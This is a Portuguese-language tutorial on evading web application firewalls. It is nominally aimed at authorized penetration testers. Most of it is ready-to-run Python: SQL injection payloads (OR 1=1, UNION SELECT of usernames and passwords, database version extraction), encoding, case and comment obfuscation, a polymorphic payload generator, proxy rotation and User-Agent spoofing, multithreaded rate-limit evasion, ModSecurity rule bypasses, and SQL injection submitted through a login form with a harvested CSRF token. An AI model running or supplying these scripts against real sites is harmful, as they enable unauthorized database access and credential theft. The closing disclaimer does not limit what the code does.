Introdução: O que é um WAF e por que contorná-lo
Um Web Application Firewall (WAF) é uma camada de segurança que monitora, filtra e bloqueia requisições HTTP/HTTPS suspeitas antes delas chegarem à aplicação. Diferentemente de firewalls tradicionais que operam na camada de rede, um WAF entende a linguagem HTTP e pode analisar payloads, headers e padrões de comportamento.
Compreender como contornar um WAF é fundamental para profissionais de segurança ofensiva. Empresas contratam pentesters justamente para identificar essas falhas antes que atores maliciosos o façam. Este artigo aborda técnicas legítimas de evasão usadas em testes autorizados, sempre dentro de um escopo contratado e ético.
Entendendo Mecanismos de Detecção do WAF
Como o WAF identifica ataques
Um WAF tipicamente utiliza três estratégias de detecção: análise de assinatura (pattern matching), análise comportamental anômala e análise heurística. A detecção por assinatura procura por padrões conhecidos de ataque, como strings SQL injection clássicas (' OR '1'='1). Análise comportamental identifica quando um usuário faz múltiplas requisições falhadas ou tenta acessar recursos não permitidos. Análise heurística usa inteligência artificial para detectar padrões novos que se assemelham a ataques.
A maioria dos WAFs modernos (como Cloudflare, AWS WAF, ModSecurity) combinam essas três estratégias. Eles mantêm listas negras de IPs, monitoram User-Agent suspeitos, verificam encoding de strings e rastreiam padrões de comportamento em tempo real.
Identificando o tipo de WAF em produção
Antes de tentar evasão, você precisa identificar qual WAF está em uso. Existem ferramentas automatizadas e técnicas manuais para isso. A ferramenta wafw00f é amplamente usada pela comunidade:
# Instalação
pip install wafw00f
# Uso básico
wafw00f https://exemplo.com.br
# Saída típica
[*] Checking https://exemplo.com.br
[+] WAF/IPS/IDS Identified: Cloudflare
[!] Number of requests: 5
Você também pode fazer fingerprinting manual observando headers de resposta HTTP:
import requests
import re
def fingerprint_waf(url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'X-Forwarded-For': '127.0.0.1'
}
try:
response = requests.get(url, headers=headers, timeout=10)
# Procura por headers indicativos
suspicious_headers = {
'Server': response.headers.get('Server', ''),
'X-Powered-By': response.headers.get('X-Powered-By', ''),
'CF-Ray': response.headers.get('CF-Ray', ''), # Cloudflare
'X-CDN-Provider': response.headers.get('X-CDN-Provider', '')
}
print("[+] Headers detectados:")
for key, value in suspicious_headers.items():
if value:
print(f" {key}: {value}")
# Detecta página de bloqueio por padrões comuns
if '403' in str(response.status_code) or 'Forbidden' in response.text:
print("[!] Possível WAF ativo (página 403 detectada)")
except Exception as e:
print(f"[-] Erro: {e}")
fingerprint_waf('https://exemplo.com.br')
Técnicas Clássicas de Evasão
Ofuscação e Encoding
A técnica mais simples é ofuscar a carga útil usando diferentes encodings. Um WAF é treinado para detectar ' OR '1'='1, mas pode não reconhecer a mesma string codificada em URL encoding, Base64 ou hexadecimal. O servidor backend, porém, decodifica automaticamente.
import urllib.parse
import base64
# Payload original SQL Injection
original_payload = "' OR '1'='1"
# URL Encoding
url_encoded = urllib.parse.quote(original_payload)
print(f"URL Encoded: {url_encoded}")
# Saída: %27%20OR%20%271%27%3D%271
# Double URL Encoding (alguns WAFs não decodificam duplo)
double_encoded = urllib.parse.quote(urllib.parse.quote(original_payload))
print(f"Double Encoded: {double_encoded}")
# Saída: %2527%2520OR%2520%25271%2527%253D%25271
# Base64 Encoding
base64_encoded = base64.b64encode(original_payload.encode()).decode()
print(f"Base64 Encoded: {base64_encoded}")
# Saída: JyBPUiAnMSc9JzE=
# Unicode/Hexadecimal
hex_payload = ''.join([f'%{ord(c):02x}' for c in original_payload])
print(f"Hex Encoded: {hex_payload}")
Quando você envia esse payload a um servidor vulnerable, ele automaticamente decodifica antes de processar. Um WAF ingênuo pode não reconhecer a versão codificada se seu padrão busca apenas a forma literal.
Fragmentação e Chunking de Requisição
Outra técnica é quebrar o payload em múltiplos chunks. Alguns WAFs analisam a requisição completa, mas se você fragmentar em headers customizados ou em múltiplas requisições com valores que só fazem sentido juntos, você pode enganar a detecção.
import requests
# Em vez de: /search?q=1' OR '1'='1
# Você envia em partes
url = "https://exemplo.com.br/search"
# Técnica 1: Dividir entre query parameter e cookie
session = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0',
'Cookie': 'filter=1\' OR \'1\'=\'1' # Parte do payload no cookie
}
# Técnica 2: Usar múltiplos parâmetros com mesmo nome
# GET /search?q=1&q=' OR '&q='1'='1
# Diferentes servidores concatenam esses valores de formas distintas
params = {
'q': ['1', "' OR '", "'1'='1"] # Requests envia ?q=1&q=' OR '&q='1'='1
}
response = requests.get(url, headers=headers, params=params)
print(response.status_code)
Manipulação de Case (Maiúsculas/Minúsculas)
Muitos WAFs usam busca case-sensitive. Se a assinatura procura por UNION SELECT, a escrita UnIoN sElEcT pode não ser detectada — mas o banco de dados SQL ainda processa corretamente.
def randomize_case(payload):
"""Converte string para mistura aleatória de maiúsculas/minúsculas"""
import random
return ''.join(random.choice([c.upper(), c.lower()]) if c.isalpha() else c
for c in payload)
# SQL Injection ofuscado
sql_payload = "UNION SELECT username, password FROM users"
obfuscated = randomize_case(sql_payload)
print(obfuscated)
# Saída possível: UnIoN sEleCt UsErNaMe, PaSsWoRd FrOm UsErS
# Em uma URL
import urllib.parse
url_with_payload = f"https://exemplo.com.br/search?q={urllib.parse.quote(obfuscated)}"
Comentários e Espaços
Bancos de dados SQL permitem comentários (--, #, /* */) e espaços podem ser substituídos por caracteres que o SQL interpreta como espaço (tabs, quebras de linha, %0a, %09).
# Payload original
payload1 = "1' OR '1'='1"
# Com comentário SQL
payload2 = "1' OR '1'='1 -- comentário"
# Com whitespace alterado
payload3 = "1'%0aOR%0a'1'='1" # %0a = quebra de linha
# Com múltiplas técnicas combinadas
payload4 = "1'%0a/**/OR%0a'1'='1--"
print(payload1)
print(payload2)
print(payload3)
print(payload4)
# Teste em requisição HTTP
import requests
response = requests.get(f"https://exemplo.com.br/search?q={payload4}")
Análise de Comportamento e Técnicas Avançadas
Rate Limiting e Distribuição de Requisições
WAFs modernos bloqueiam não apenas payloads perigosos, mas também comportamento anômalo. Se você fizer 100 requisições por segundo com diferentes payloads, será bloqueado. Técnicas de distribuição reduzem a velocidade e distribuem requisições.
import requests
import time
from itertools import cycle
# Lista de proxies (pode ser gratuita ou paga)
proxies_list = [
'http://proxy1.com:8080',
'http://proxy2.com:8080',
'http://proxy3.com:8080',
]
proxy_cycle = cycle(proxies_list)
# Lista de payloads a testar
payloads = [
"1' OR '1'='1",
"1' OR 1=1 --",
"admin' --",
"' OR 'a'='a"
]
target_url = "https://exemplo.com.br/search"
for payload in payloads:
# Rotaciona proxy
current_proxy = next(proxy_cycle)
proxy_dict = {'http': current_proxy, 'https': current_proxy}
# User-Agent aleatório
import random
user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15)',
'Mozilla/5.0 (X11; Linux x86_64)'
]
headers = {'User-Agent': random.choice(user_agents)}
try:
response = requests.get(
target_url,
params={'q': payload},
headers=headers,
proxies=proxy_dict,
timeout=10
)
print(f"[+] Payload: {payload} | Status: {response.status_code}")
except Exception as e:
print(f"[-] Erro com proxy {current_proxy}: {e}")
# Delay entre requisições (importante!)
time.sleep(random.uniform(2, 5))
Análise de Respostas e Detecção de Bloqueio
Nem todo bloqueio é óbvio (status 403 ou página de erro). Às vezes o WAF retorna 200 OK mas com conteúdo manipulado. Analisar o tamanho da resposta, headers customizados e conteúdo ajuda a identificar bloqueios silenciosos.
import requests
import hashlib
def detect_waf_blocking(url, payload):
"""
Detecta se o WAF bloqueou a requisição analisando respostas
"""
# Requisição legítima (baseline)
try:
response_clean = requests.get(url, timeout=10)
clean_size = len(response_clean.content)
clean_hash = hashlib.md5(response_clean.content).hexdigest()
print(f"[*] Baseline - Tamanho: {clean_size} bytes, Hash: {clean_hash}")
except Exception as e:
print(f"[-] Erro ao obter baseline: {e}")
return
# Requisição com payload
try:
response_payload = requests.get(
url,
params={'q': payload},
timeout=10,
allow_redirects=False
)
payload_size = len(response_payload.content)
payload_hash = hashlib.md5(response_payload.content).hexdigest()
print(f"\n[*] Com payload - Tamanho: {payload_size} bytes, Hash: {payload_hash}")
print(f"[*] Status Code: {response_payload.status_code}")
# Indicadores de bloqueio
blocking_indicators = [
response_payload.status_code in [403, 429, 406],
'blocked' in response_payload.text.lower(),
'security' in response_payload.text.lower(),
'attack' in response_payload.text.lower(),
clean_hash == payload_hash and response_payload.status_code == 200, # Resposta duplicada
abs(clean_size - payload_size) > 1000 # Tamanho muito diferente
]
if any(blocking_indicators):
print("[!] ⚠️ Possível bloqueio detectado")
return True
else:
print("[+] ✓ Payload não foi bloqueado (potencialmente vulnerável)")
return False
except Exception as e:
print(f"[-] Erro ao enviar payload: {e}")
# Uso
detect_waf_blocking(
'https://exemplo.com.br/search',
"1' OR '1'='1"
)
Polimorfismo de Payload
Técnica avançada onde você gera automaticamente variações de um payload mantendo a funcionalidade. Um WAF pode bloquear uma versão, mas a próxima gerada é diferente.
import random
import string
class PayloadMutator:
"""Gera variações polimórficas de payloads SQL injection"""
def __init__(self, base_payload):
self.base = base_payload
def mutate_sql_comment(self):
"""Usa diferentes estilos de comentário SQL"""
variations = [
self.base + " -- ",
self.base + " #",
self.base + " /**/",
self.base + " /*!50000*/", # Comentário condicional MySQL
self.base + " \n--",
]
return random.choice(variations)
def mutate_whitespace(self):
"""Substitui espaços por equivalentes"""
whitespace_options = [
'%20', # Espaço normal
'%0a', # Quebra de linha
'%0d', # Carriage return
'%09', # Tab
'%0b', # Vertical tab
'/**/+', # Comentário + operador
]
result = self.base
for char in [' ']:
result = result.replace(char, random.choice(whitespace_options))
return result
def mutate_string_concat(self):
"""Quebra strings e concatena de forma diferente"""
# Específico para diferentes dialetos SQL
concat_methods = [
lambda s: f"'{s}'", # String normal
lambda s: f"0x{s.encode().hex()}", # Hexadecimal (MySQL)
lambda s: f"CHAR({','.join(map(str, [ord(c) for c in s]))})", # CHAR()
]
return random.choice(concat_methods)(self.base)
def generate_batch(self, count=5):
"""Gera múltiplas variações"""
mutations = []
for _ in range(count):
strategy = random.choice([
self.mutate_sql_comment,
self.mutate_whitespace,
self.mutate_string_concat
])
mutations.append(strategy())
return mutations
# Uso prático
mutator = PayloadMutator("1' OR '1'='1")
payloads = mutator.generate_batch(10)
for i, payload in enumerate(payloads, 1):
print(f"Variação {i}: {payload}")
Bypass de Proteções Específicas
Contornando ModSecurity Core Rule Set (CRS)
ModSecurity é um WAF open-source amplamente usado. Seu Core Rule Set (CRS) detecta ataques através de regras customizáveis. Bypass geralmente envolve:
import requests
import urllib.parse
def bypass_modsecurity_sql(target_url):
"""
Técnicas documentadas para bypass de ModSecurity CRS
"""
# Técnica 1: Valor nulo seguido de OR
payload1 = "1 and 1=1 union all select null,null,null"
# Técnica 2: Concatenação com variáveis de ambiente MySQL
payload2 = "1' union select @@version,@@datadir,@@basedir -- "
# Técnica 3: Usar operadores lógicos de forma criativa
payload3 = "1 and (select 1 from (select count(*),concat(user(),0x3a,database()))x)"
# Técnica 4: String com caso misto + comentário Unicode
payload4 = "1' UnIoN SelEcT 1,user(),database() %23"
payloads = [payload1, payload2, payload3, payload4]
for idx, payload in enumerate(payloads, 1):
try:
response = requests.get(
target_url,
params={'id': payload},
timeout=5
)
print(f"[Payload {idx}] Status: {response.status_code}")
if response.status_code == 200:
print(f" → Possível sucesso: {payload[:50]}...")
except requests.exceptions.RequestException as e:
print(f"[Payload {idx}] Erro: {e}")
bypass_modsecurity_sql('https://exemplo.com.br/search.php')
Bypass de Proteção CORS e CSRF
Algumas aplicações usam WAF para proteção CSRF. Contornar envolve:
import requests
def bypass_csrf_protection(target_url, form_data):
"""
Técnicas para contornar proteção CSRF
"""
session = requests.Session()
# Passo 1: Fazer requisição inicial para obter token CSRF
response = session.get(target_url)
# Passo 2: Extrair token (exemplo com regex)
import re
token_match = re.search(r'name="csrf_token"\s+value="([^"]+)"', response.text)
if token_match:
csrf_token = token_match.group(1)
print(f"[+] Token CSRF extraído: {csrf_token[:20]}...")
# Passo 3: Enviar com token legítimo (mas com dados maliciosos)
headers = {
'X-Requested-With': 'XMLHttpRequest', # Finge ser AJAX
'Referer': target_url # Header importante
}
payload = {
'csrf_token': csrf_token,
'username': 'admin',
'password': "' OR '1'='1" # Payload no campo de senha
}
response = session.post(
target_url,
data=payload,
headers=headers
)
print(f"[+] Status da requisição: {response.status_code}")
return response
else:
print("[-] Token CSRF não encontrado")
return None
# Uso
bypass_csrf_protection(
'https://exemplo.com.br/login',
{'username': 'admin', 'password': 'test'}
)
Bypass de Rate Limiting
WAFs frequentemente implementam rate limiting. Contornar envolve distribuição inteligente:
import requests
import time
import threading
from queue import Queue
class RateLimitBypass:
def __init__(self, target_url, num_workers=3):
self.target_url = target_url
self.num_workers = num_workers
self.queue = Queue()
self.results = []
def worker(self):
"""Worker thread que processa requisições"""
while not self.queue.empty():
payload, index = self.queue.get()
try:
# Adiciona header User-Agent único por worker
headers = {
'User-Agent': f'Mozilla/5.0 Worker-{index}'
}
response = requests.get(
self.target_url,
params={'q': payload},
headers=headers,
timeout=10
)
self.results.append({
'payload': payload,
'status': response.status_code,
'worker': index
})
print(f"[Worker {index}] Status: {response.status_code}")
except Exception as e:
print(f"[Worker {index}] Erro: {e}")
self.queue.task_done()
time.sleep(1) # Delay entre requisições do mesmo worker
def execute_async(self, payloads):
"""Executa requisições de forma paralela (distribuído)"""
# Popula fila
for idx, payload in enumerate(payloads):
self.queue.put((payload, idx % self.num_workers))
# Inicia threads
threads = []
for i in range(self.num_workers):
t = threading.Thread(target=self.worker)
t.start()
threads.append(t)
# Aguarda conclusão
self.queue.join()
for t in threads:
t.join()
return self.results
# Uso
payloads = [
"1' OR '1'='1",
"admin' --",
"1' AND '1'='1",
"' OR 'a'='a",
]
bypass = RateLimitBypass('https://exemplo.com.br/search')
results = bypass.execute_async(payloads)
for result in results:
print(f"[Result] {result['payload']}: {result['status']} (Worker {result['worker']})")
Conclusão
Aprendemos que bypasses de WAF funcionam em três níveis principais: ofuscação de payload (codificação, case mimetism, fragmentação), análise de comportamento (distribuição temporal e espacial de requisições) e exploração de lógica específica do WAF em uso. O ponto crucial é compreender que nenhum WAF é impermeável — existem sempre tradeoffs entre segurança e usabilidade que criam brechas.
O segundo aprendizado fundamental é que identificação precede exploração. Usar ferramentas como wafw00f e análise manual de headers economiza horas de tentativas cegas. Saber qual WAF você enfrenta permite focar em técnicas específicas documentadas versus gastar tempo em técnicas genéricas ineficazes.
Por fim, lembre-se que estas técnicas só devem ser aplicadas em testes de penetração com escopo autorizado. A barreira entre pesquisa de segurança legítima e atividade criminosa é determinada por autorização prévia e documentação apropriada. Use esse conhecimento responsavelmente.